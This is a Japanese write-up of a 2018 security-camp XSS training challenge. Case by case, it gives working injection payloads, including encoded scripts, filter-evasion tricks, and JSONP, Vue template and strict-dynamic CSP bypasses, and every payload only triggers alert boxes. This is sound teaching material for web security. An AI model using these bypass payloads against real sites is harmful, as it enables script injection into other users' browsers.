XSS Challenge (セキュリティ・ミニキャンプ in 岡山 2018 演習コンテンツ) Writeup

はじめに

つばめ(@lmt_swallow/@y0n3uchy)氏によるセキュリティ・ミニキャンプ in 岡山 2018の演習コンテンツであるXSS ChallengeのWriteupです.
初学者向け(?)とのことでしたが,そこそこ苦戦して心が折れました :cry:

答えがそのまま書いてあるため,自力で解きたい方は閲覧しないでください :bow:

Writeup

Case 01: Simple XSS 1

典型的な反射型XSSです.
入力した値がそのままechoされているので,適宜<script>を出力するようにしてやります.

解答

<script>alert("XSS")</script>

<script>alert(document.domain)</script>

Case 02: Simple XSS 2

DOM Based XSSです.
URLのハッシュ以降の値を切り取って,それをinnerHTML<p>に突っ込んでいます.
innerHTML<script>の挿入は使えないので,<img>の挿入を行います.
具体的には,ありえないsrc属性を指定することで,わざとonerror属性に指定されたスクリプトを実行させます.

解答

https://xss.shift-js.info/case02.php#<img src=/ onerror=alert("XSS") />

https://xss.shift-js.info/case02.php#<img src=/ onerror=alert(document.domain) />

Case 03: With htmlspecialchars()

入力した値が<a>タグのhref属性に設定されています.
そのため,javascript:スキームの挿入が有効です.

解答

javascript: alert("XSS")

javascript: alert(document.domain)

Case 04-1: Without any backquotes and HTML tags

バッククォート(`)とタグ(<>)を使うことができません.
ソースコードをよく見ると,与えたクエリがJavaScriptにてバッククォートで展開されています.
よって,JavaScriptのテンプレートリテラルにおける変数展開が可能なのでこれを利用します.

以下の文字列を以下のスクリプトによってJavaScriptコードに変換します.

<img src=/ onerror=alert(document.domain) />
<img src=/ onerror=alert("XSS") />
S = input()

C = []
for s in S:
    C.append(ord(s))

print("${" + "String.fromCharCode({})".format(",".join(list(map(str, C)))) + "}")

解答

${String.fromCharCode(60,105,109,103,32,115,114,99,61,47,32,111,110,101,114,114,111,114,61,97,108,101,114,116,40,34,88,83,83,34,41,32,47,62)}

${String.fromCharCode(60,105,109,103,32,115,114,99,61,47,32,111,110,101,114,114,111,114,61,97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41,32,47,62)}

Case 04-2: Without any backquotes, HTML tags and [ux]

04-1に加えてuxが使用できなくなりますが,上記と同じ攻撃ベクタでXSSが可能です.
uxということは,04-1ではUnicode表記を想定していたんだと思います(ごめんなさい)

解答

${String.fromCharCode(60,105,109,103,32,115,114,99,61,47,32,111,110,101,114,114,111,114,61,97,108,101,114,116,40,34,88,83,83,34,41,32,47,62)}

${String.fromCharCode(60,105,109,103,32,115,114,99,61,47,32,111,110,101,114,114,111,114,61,97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41,32,47,62)}

Case 05: Without any alphabets

アルファベットと数字が使えません.
一見無理そうですが,JavaScriptは記号のみでプログラミングできるみたいなアレがあります.
(「JavaScript 記号プログラミング」とかで検索すると出てきます.)

スクリプトを書いてやってもいいですが少々面倒なので,今回はjjencodeを使いました.

解答

$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\"\\"+$.__$+$._$$+$.___+"\\"+$.__$+$._$_+$._$$+"\\"+$.__$+$._$_+$._$$+"\\\")"+"\"")())();

$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.$$_$+$._$+$.$$__+$._+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+"."+$.$$_$+$._$+"\\"+$.__$+$.$_$+$.$_$+$.$_$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$_$+$.$$_+")"+"\"")())();

Case 06-1: Without any paretheses

Parentheses(())が使えません.
今回はbase64エンコーディングを用いて上記のフィルターを回避します.

下記のスクリプトを用いて下記の文字列をエンコードすることで攻撃ベクタを生成しました.

alert("XSS")
alert(document.domain)
import base64

prefix = "data:text/javascript;base64,"
code = input()

print("<script src={}{} ></script>".format(prefix, base64.b64encode(code.encode()).decode()))

解答

<script src=data:text/javascript;base64,YWxlcnQoIlhTUyIp ></script>

<script src=data:text/javascript;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ== ></script>

Case 06-2: Without any parentheses and [oO][nN]

上記に加えて,onほげほげが弾かれる.
さっき作成した攻撃ベクタにonほげほげは含まれていないので,そのまま流用できます.

解答

<script src=data:text/javascript;base64,YWxlcnQoIlhTUyIp ></script>

<script src=data:text/javascript;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ== ></script>

Case 06-3: Without any paretheses and .[oO].[nN].*

ほげほげoほげほげnほげほげが弾かれる.
運悪く06-2における2つ目の攻撃ベクタの...QoZG9jdW1lbnQ...の部分が該当してしまているので,別の文字列を利用します.

今回は,以下の文字列をエンコードしました.

alert("XSS")
alert( document.domain)

解答

<script src=data:text/javascript;base64,YWxlcnQoIlhTUyIp ></script>

<script src=data:text/javascript;base64,YWxlcnQoIGRvY3VtZW50LmRvbWFpbik= ></script>

Case 06-4: Without any paretheses, .[oO].[nN].* and tag attributes

今度はタグ(/<[a-zA-Z]+.+?>/)も弾かれる.
そこで,弾かれた後の文字列が<script ...>になるようにします.
具体的には,<<[a-zA-Z]それ以外の何か>script ...></script>みたいにすればいいです.

解答

<<ahaha:-)>script src=data:text/javascript;base64,YWxlcnQoIlhTUyIp ></script>

<<ahaha:-)>script src=data:text/javascript;base64,YWxlcnQoIlhTUyIp ></script>

Case 07-1: Without any quotes

クォート類(single quote, double quote, backquote)が弾かれます.
さっき使ったbase64エンコード形式のやつが使えますね!

解答

<script src=data:text/javascript;base64,YWxlcnQoIlhTUyIp ></script>

<script src=data:text/javascript;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ== ></script>

Case 07-2: Without any quotes and &

クォート類(single quote, double quote, backquote)と&#が弾かれます.
さっき使ったbase64エンコード形式のやつが(略)

解答

<script src=data:text/javascript;base64,YWxlcnQoIlhTUyIp ></script>

<script src=data:text/javascript;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ== ></script>

Case 08-1: Without any backquotes, parentheses and HTML tags

下記が使えません.

"/[`()<>]/"

ソースコードをよくよく見ると,spanタグのid属性にエスケープされた値がそのまま書き出されています.
そこで,"を使ってid属性を強制的に終了させたのち,JavaScriptの数値文字参照を用いてスクリプトを実行させます.

数値文字参照のコードを生成するために,以下のスクリプトを用いて以下の文字列を変換しました.

alert("XSS")
alert(document.domain)
S = input()

C = []
for s in S:
    C.append(ord(s))

for c in C:
    print("&#{};".format(c), end="")

print()

解答

" onclick="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#88;&#83;&#83;&#34;&#41;
" onclick="&#97;&#108;&#101;&#114;&#116;&#40;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#100;&#111;&#109;&#97;&#105;&#110;&#41;

Case 08-2: Without any backquotes, parentheses, HTML tags and &

上記に加えて&#も使えません.
そこで,ブラウザハックでも紹介されているXSS technique without parenthesesという手法を用います.

解答

" onclick="window.onerror=eval;throw'=alert\x28\x22XSS\x22\x29';
" onclick="window.onerror=eval;throw'=alert\x28document.domain\x29';

Case 09-1: Without any spaces and "script"

scriptという文字と空白文字が使えません.
正規表現をよく見ると,小文字しか弾かれていないので,大文字でやればいいです.

解答

<SCRIPT>alert("XSS")</SCRIPT>
<SCRIPT>alert(document.domain)</SCRIPT>

Case 09-2: Without any spaces and "[sS][cC][rR][iI][pP][tT]"

今度は大文字も使えません.
しかし,弾かれるのは一回きりなので,Case 06-4と同様に弾かれた後の文字列が<script ...>になるようにしてやればいいです.

なんかセキュスペのこれの問1設問6(2)を思い出した.

解答

<scrSCRIPTipt>alert("XSS")</scrSCRIPTipt>
<scrSCRIPTipt>alert(document.domain)</scrSCRIPTipt>

Case 20: Bad use of JSONP

CSPによってインラインスクリプトが制限されているため,これまでの問題のように<script>の注入等は行えません.
しかし,本問題ではJSONPをうまく活用することでXSSを発生させることができます.
具体的には,JSONPにおけるコールバック関数(callback)呼び出し時にalertが発生するようにします.
これは,インラインスクリプトの注入には当たらないのでCSPでブロックされません.

解答

<script src="jsonp.php?callback=alert('XSS')"></script>
<script src="jsonp.php?callback=alert(document.domain)"></script>

Case 21: nonce + unsafe-eval

最初にランダムな2つの値がnonceに設定されます.
それを<script>nonce属性に適切に設定することで,CSPにて実行が許可されています.
そのため,適当な<script>を注入してもnonce属性が一致しないため実行が許可されません.

ソースをよく見ると,以下のようなコードがあります.

var answer = eval(window.equation.value);
...
<input type="hidden" id="equation" value="<?= $eq ?>">

これは,equationというid属性を持つタグ(ここではinput)のvalue属性をeval関数で実行するコードです.(CSPでunsafe-evalが指定されているため,このコードの実行も許可されます)
このコードによって,本来は埋め込まれた値($eq)とユーザの入力が等しいかをチェックしています.

そこで,evalによって$eqではなくalertを発生させる文字列を先に評価させるようにします.
なお,元からある<input type="hidden" id="equation" value="<?= $eq ?>">が読み込まれないように,適宜コメントアウトします.

unsafe-evalはこわいですね.

解答

<input type="hidden" id="equation" value="alert('XSS')" ></input><!--
<input type="hidden" id="equation" value="alert(document.domain)" ></input><!--

Case 22: nonce + unsafe-eval

Vue.jsが利用されています.
また,最初にランダムな3つの値がnonceに設定され,それが<script>nonce属性に設定されます.加えて,unsafe-evalが指定されています.

https://github.com/vuejs/vue/issues/3592によると, {{ this.constructor.constructor('alert("oops")') }}のようにテンプレートインジェクションを行うことでalertが実行されるようです.

終わりかな?と思って入力してみると,以下が出力されました.

あなたはfunction anonymous( ) { alert("oops") }さんなんだね。

なんかうまくいってないみたいです.
ちょっとIssueを漁ってみると,このスライドが見つかりました.
ちょっと注入するコードが違ったようです.

解答

{{constructor.constructor('alert("XSS")')()}}
{{constructor.constructor('alert(document.domain)')()}}

Case 23: nonce + strict-dynamic

strict-dynamicが指定されています.
strict-dynamicは以下のような仕様です.

The strict-dynamic source expression specifies that the trust explicitly given to a script present in the markup, by accompanying it with a nonce or a hash, shall be propagated to all the scripts loaded by that root script.

さっぱりわからんだったので,調べてみました.
すると,CVE-2018-5175: FirefoxでCSPのstrict-dynamicバイパスや,そこからCNY Challenge 2018が見つかりました.

方針として,CSPにstrict-dynamicが指定されているため,nonceによって許可されている以下のコード内でスクリプトを生成させるしかありません.

<script nonce="<?= $random1 ?>">
    window.addEventListener("load", function(){
        var input = `<?= $escaped ?>`;
        window.injectarea.innerHTML = `${input} is your payload; could you execute a script? :-)`
    });
</script>

本来のソースコードでは,id属性がinjectareaである<div>ペイロードが書き出されていますが,これだとスクリプトとして実行されません.
そのため,なんとかして<script>内部にスクリプトを書き出させる必要があります.

そこで,以下のような方策をとります.

  1. id属性がinjectareaである<script>を生成する
  2. 本来id属性がinjectareaである<div><script>で上書きする
  3. 上書きした<script>alert("XSS")を注入する

以下のペイロードXSSが成功します.

解答

alert("XSS")//<script id="injectarea"></script><!-

alert(document.domain)//<script id="injectarea"></script><!-

おわりに

XSSの総復習ができました.(知らないのも結構ありました)
CSP周りは未だ理解があやふやなので,新仕様のCSP Level 3も含めてちゃんと勉強したいと思います.
今後問題が追加されれば追記します!:)

つばめプロ,ありがとうございました!